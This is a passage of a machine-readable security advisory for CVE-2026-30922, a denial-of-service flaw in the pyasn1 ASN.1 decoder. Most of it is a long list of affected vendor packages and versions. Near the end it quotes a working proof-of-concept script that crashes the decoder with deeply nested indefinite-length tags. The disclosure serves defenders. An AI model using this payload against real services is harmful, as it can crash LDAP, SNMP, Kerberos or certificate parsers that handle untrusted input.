"name": "vers:rpm/unknown", "product_id": "CSAFPID-1508262" } } ], "category": "product_name", "name": "platform-resource-runner-rhel8" } ], "category": "product_family", "name": "Red Hat Ansible Automation Platform 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5811347" } } ], "category": "product_name", "name": "bootc-azure-rocm-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5811351" } } ], "category": "product_name", "name": "bootc-rocm-rhel9" } ], "category": "product_family", "name": "Red Hat Enterprise Linux AI (RHEL AI) 3" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5276233" } } ], "category": "product_name", "name": "ee-openstack-ansible-ee-rhel9" } ], "category": "product_family", "name": "Red Hat OpenStack Platform 18.0" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3023485" } } ], "category": "product_name", "name": "fence-agents" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2909376" } } ], "category": "product_name", "name": "fence-agents" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2909381" } } ], "category": "product_name", "name": "resource-agents" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508270" } } ], "category": "product_name", "name": "fence-agents" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855768" } } ], "category": "product_name", "name": "iop-advisor-engine-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5276235" } } ], "category": "product_name", "name": "iop-insights-engine-rhel9" } ], "category": "product_family", "name": "Red Hat Satellite 6" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2985387" } } ], "category": "product_name", "name": "kiali-rhel9-operator" } ], "category": "product_family", "name": "OpenShift Service Mesh 3" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508255" } } ], "category": "product_name", "name": "lightspeed-service-api-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448444" } } ], "category": "product_name", "name": "lightspeed-to-dataverse-exporter-rhel9" } ], "category": "product_family", "name": "OpenShift Lightspeed" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5119831" } } ], "category": "product_name", "name": "model-transparency-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2518237" } } ], "category": "product_name", "name": "segment-reporting-rhel9" } ], "category": "product_family", "name": "Red Hat Trusted Artifact Signer" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2909320" } } ], "category": "product_name", "name": "mtv-rhel9-operator" } ], "category": "product_family", "name": "Migration Toolkit for Virtualization" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2976378" } } ], "category": "product_name", "name": "odh-feature-server-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5119808" } } ], "category": "product_name", "name": "odh-kserve-agent-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5119810" } } ], "category": "product_name", "name": "odh-kserve-controller-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5119811" } } ], "category": "product_name", "name": "odh-kserve-router-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5119813" } } ], "category": "product_name", "name": "odh-kserve-storage-initializer-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3112099" } } ], "category": "product_name", "name": "odh-llama-stack-core-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2960946" } } ], "category": "product_name", "name": "odh-ml-pipelines-runtime-generic-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5811359" } } ], "category": "product_name", "name": "odh-mlflow-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1692264" } } ], "category": "product_name", "name": "odh-modelmesh-runtime-adapter-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068100" } } ], "category": "product_name", "name": "odh-pipeline-runtime-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068103" } } ], "category": "product_name", "name": "odh-pipeline-runtime-minimal-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068105" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222767" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068108" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068110" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155537" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5830423" } } ], "category": "product_name", "name": "odh-training-cuda128-torch29-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5811362" } } ], "category": "product_name", "name": "odh-trustyai-garak-lls-provider-dsp-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5834017" } } ], "category": "product_name", "name": "odh-trustyai-nemo-guardrails-server-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068114" } } ], "category": "product_name", "name": "odh-workbench-codeserver-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068116" } } ], "category": "product_name", "name": "odh-workbench-jupyter-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068119" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068121" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068123" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068126" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222780" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068128" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068131" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155538" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068134" } } ], "category": "product_name", "name": "odh-workbench-jupyter-trustyai-cpu-py312-rhel9" } ], "category": "product_family", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5276219" } } ], "category": "product_name", "name": "openshift-migration-hook-runner-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448443" } } ], "category": "product_name", "name": "openshift-migration-rhel8-operator" } ], "category": "product_family", "name": "Migration Toolkit for Containers" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1496293" } } ], "category": "product_name", "name": "ose-ansible-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855767" } } ], "category": "product_name", "name": "ose-ansible-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1496356" } } ], "category": "product_name", "name": "ztp-site-generate-rhel8" } ], "category": "product_family", "name": "Red Hat OpenShift Container Platform 4" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-4534161" } } ], "category": "product_name", "name": "prometheus-webhook-snmp-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-4534162" } } ], "category": "product_name", "name": "service-telemetry-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-4534164" } } ], "category": "product_name", "name": "smart-gateway-rhel9-operator" } ], "category": "product_family", "name": "Service Telemetry Framework 1.5" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1455906" } } ], "category": "product_name", "name": "quay-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5355695" } } ], "category": "product_name", "name": "quay-rhel9" } ], "category": "product_family", "name": "Red Hat Quay 3" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2858643" } } ], "category": "product_name", "name": "vllm-rocm-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3112098" } } ], "category": "product_name", "name": "vllm-tpu-rhel9" } ], "category": "product_family", "name": "Red Hat AI Inference Server" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-1317174", "product_identification_helper": { "cpe": "cpe:/o:suse:suse_linux:-" } } } ], "category": "product_name", "name": "SuSE Linux" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0|<0.5.0-4.1", "product": { "name": "vers:unknown/>=0|<0.5.0-4.1", "product_id": "CSAFPID-5919019" } } ], "category": "product_name", "name": "python-pyasn1" } ], "category": "product_family", "name": "SUSE:Linux Micro 6.0" } ], "category": "vendor", "name": "SUSE" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5890858", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_python-pyasn1_0.4.8-1:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 python-pyasn1 0.4.8-1 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5890859", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_python-pyasn1_0.4.8-1:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 python-pyasn1 0.4.8-1 on CBL Mariner 2.0" } ], "category": "product_family", "name": "Open Source Software" } ], "category": "vendor", "name": "Microsoft" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5441278" } } ], "category": "product_name", "name": "pyasn1" } ], "category": "product_family", "name": "bookworm" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5441279" } } ], "category": "product_name", "name": "pyasn1" } ], "category": "product_family", "name": "bullseye" } ], "category": "vendor", "name": "debian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.10a", "product": { "name": "vers:unknown/0.0.10a", "product_id": "CSAFPID-5842734", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.10a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.11a", "product": { "name": "vers:unknown/0.0.11a", "product_id": "CSAFPID-5842735", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.11a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.12a", "product": { "name": "vers:unknown/0.0.12a", "product_id": "CSAFPID-5842736", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.12a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.13", "product": { "name": "vers:unknown/0.0.13", "product_id": "CSAFPID-5842737", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.13" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.13a", "product": { "name": "vers:unknown/0.0.13a", "product_id": "CSAFPID-5842738", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.13a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.13b", "product": { "name": "vers:unknown/0.0.13b", "product_id": "CSAFPID-5842739", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.13b" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.6a", "product": { "name": "vers:unknown/0.0.6a", "product_id": "CSAFPID-5842740", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.6a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.9a", "product": { "name": "vers:unknown/0.0.9a", "product_id": "CSAFPID-5842741", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.0.9a" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.1", "product": { "name": "vers:unknown/0.1.1", "product_id": "CSAFPID-5842742", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.2", "product": { "name": "vers:unknown/0.1.2", "product_id": "CSAFPID-5842743", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.3", "product": { "name": "vers:unknown/0.1.3", "product_id": "CSAFPID-5842744", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.4", "product": { "name": "vers:unknown/0.1.4", "product_id": "CSAFPID-5842745", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.5", "product": { "name": "vers:unknown/0.1.5", "product_id": "CSAFPID-5842746", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.6", "product": { "name": "vers:unknown/0.1.6", "product_id": "CSAFPID-5842747", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.7", "product": { "name": "vers:unknown/0.1.7", "product_id": "CSAFPID-5842748", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.8", "product": { "name": "vers:unknown/0.1.8", "product_id": "CSAFPID-5842749", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.9", "product": { "name": "vers:unknown/0.1.9", "product_id": "CSAFPID-5842750", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.1.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.1", "product": { "name": "vers:unknown/0.2.1", "product_id": "CSAFPID-5842751", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.2", "product": { "name": "vers:unknown/0.2.2", "product_id": "CSAFPID-5842752", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.3", "product": { "name": "vers:unknown/0.2.3", "product_id": "CSAFPID-5442766", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.1", "product": { "name": "vers:unknown/0.3.1", "product_id": "CSAFPID-5842753", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.2", "product": { "name": "vers:unknown/0.3.2", "product_id": "CSAFPID-5842754", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.3", "product": { "name": "vers:unknown/0.3.3", "product_id": "CSAFPID-5842755", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.4", "product": { "name": "vers:unknown/0.3.4", "product_id": "CSAFPID-5842756", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.5", "product": { "name": "vers:unknown/0.3.5", "product_id": "CSAFPID-5842757", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.6", "product": { "name": "vers:unknown/0.3.6", "product_id": "CSAFPID-5842758", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.7", "product": { "name": "vers:unknown/0.3.7", "product_id": "CSAFPID-5842759", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.3.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.1", "product": { "name": "vers:unknown/0.4.1", "product_id": "CSAFPID-5842760", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.2", "product": { "name": "vers:unknown/0.4.2", "product_id": "CSAFPID-5842761", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.3", "product": { "name": "vers:unknown/0.4.3", "product_id": "CSAFPID-5842762", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.4", "product": { "name": "vers:unknown/0.4.4", "product_id": "CSAFPID-5842763", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.5", "product": { "name": "vers:unknown/0.4.5", "product_id": "CSAFPID-5842764", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.6", "product": { "name": "vers:unknown/0.4.6", "product_id": "CSAFPID-5842765", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.7", "product": { "name": "vers:unknown/0.4.7", "product_id": "CSAFPID-5842766", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.8", "product": { "name": "vers:unknown/0.4.8", "product_id": "CSAFPID-5842767", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.4.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0", "product": { "name": "vers:unknown/0.5.0", "product_id": "CSAFPID-5842768", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.1", "product": { "name": "vers:unknown/0.5.1", "product_id": "CSAFPID-5842769", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0", "product": { "name": "vers:unknown/0.6.0", "product_id": "CSAFPID-5443058", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.1", "product": { "name": "vers:unknown/0.6.1", "product_id": "CSAFPID-5441007", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.2", "product": { "name": "vers:unknown/0.6.2", "product_id": "CSAFPID-5842770", "product_identification_helper": { "purl": "pkg:pypi/pyasn1@0.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/<0.6.3", "product": { "name": "vers:unknown/<0.6.3", "product_id": "CSAFPID-5841016", "product_identification_helper": { "cpe": "cpe:2.3:a:pyasn1:pyasn1:*:*:*:*:*:python:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.6.3", "product": { "name": "vers:unknown/>=0|<0.6.3", "product_id": "CSAFPID-5842771" } } ], "category": "product_name", "name": "pyasn1" } ], "category": "vendor", "name": "pyasn1" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.6.3", "product": { "name": "vers:unknown/<0.6.3", "product_id": "CSAFPID-5971045" } } ], "category": "product_name", "name": "pyasn1" } ], "category": "vendor", "name": "unknown" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-30922", "cwe": { "id": "CWE-674", "name": "Uncontrolled Recursion" }, "flags": [ { "label": "vulnerable_code_not_present", "product_ids": [ "CSAFPID-5973066", "CSAFPID-5973067", "CSAFPID-5973068", "CSAFPID-5973069", "CSAFPID-5973070", "CSAFPID-5973071", "CSAFPID-5973072", "CSAFPID-5973073", "CSAFPID-5973074", "CSAFPID-5973075", "CSAFPID-5973076", "CSAFPID-5973077", "CSAFPID-5973078", "CSAFPID-5973079", "CSAFPID-5973080", "CSAFPID-5973081", "CSAFPID-5973082", "CSAFPID-5973083", "CSAFPID-5973084", "CSAFPID-5973085", "CSAFPID-5973086", "CSAFPID-5973087", "CSAFPID-5973088", "CSAFPID-5973089", "CSAFPID-5973090", "CSAFPID-5973091", "CSAFPID-5973092", "CSAFPID-5973066", "CSAFPID-5973067", "CSAFPID-5973068", "CSAFPID-5973069", "CSAFPID-5973070", "CSAFPID-5973071", "CSAFPID-5973072", "CSAFPID-5973073", "CSAFPID-5973074", "CSAFPID-5973075", "CSAFPID-5973078", "CSAFPID-5973079", "CSAFPID-5973080", "CSAFPID-5973081", "CSAFPID-5973082", "CSAFPID-5973083", "CSAFPID-5973084", "CSAFPID-5973085", "CSAFPID-5973086", "CSAFPID-5973087", "CSAFPID-5973088", "CSAFPID-5973089", "CSAFPID-5973090", "CSAFPID-5973091", "CSAFPID-5973092", "CSAFPID-5984227" ] } ], "notes": [ { "category": "description", "text": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\nThis is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.", "title": "github - https://github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "description", "text": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30922" }, { "category": "description", "text": "pyasn1 